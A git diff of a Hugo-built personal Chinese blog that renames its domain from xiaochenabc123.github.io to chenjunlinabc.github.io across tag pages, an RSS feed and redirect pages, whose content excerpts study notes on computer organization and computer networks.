-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机组成原理 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机组成原理"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机组成原理"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>计算机组成原理</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机组成原理 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机组成原理"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机组成原理"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>计算机组成原理</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -65,7 +65,7 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://xiaochenabc123.github.io/posts/155/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://chenjunlinabc.github.io/posts/155/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.xml" "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.xml"
index 98440da9..3e7291af 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.xml"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>计算机组成原理 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/</link>
     <description>Recent content in 计算机组成原理 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 01 Nov 2022 02:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 01 Nov 2022 02:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>计算机组成原理学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/155/</link>
+      <link>https://chenjunlinabc.github.io/posts/155/</link>
       <pubDate>Tue, 01 Nov 2022 02:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/155/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/155/</guid>
       <description>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/page/1/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/page/1/index.html"
index 37062b7f..573921ad 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/page/1/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\273\204\346\210\220\345\216\237\347\220\206/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/"></head></html>
\ No newline at end of file
diff --git "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.html" "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.html"
index 73b904de..d2f9eb5b 100644
--- "a/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.html"
+++ "b/tags/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机网络 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机网络"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机网络"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>计算机网络</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>计算机网络 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机网络"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机网络"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" 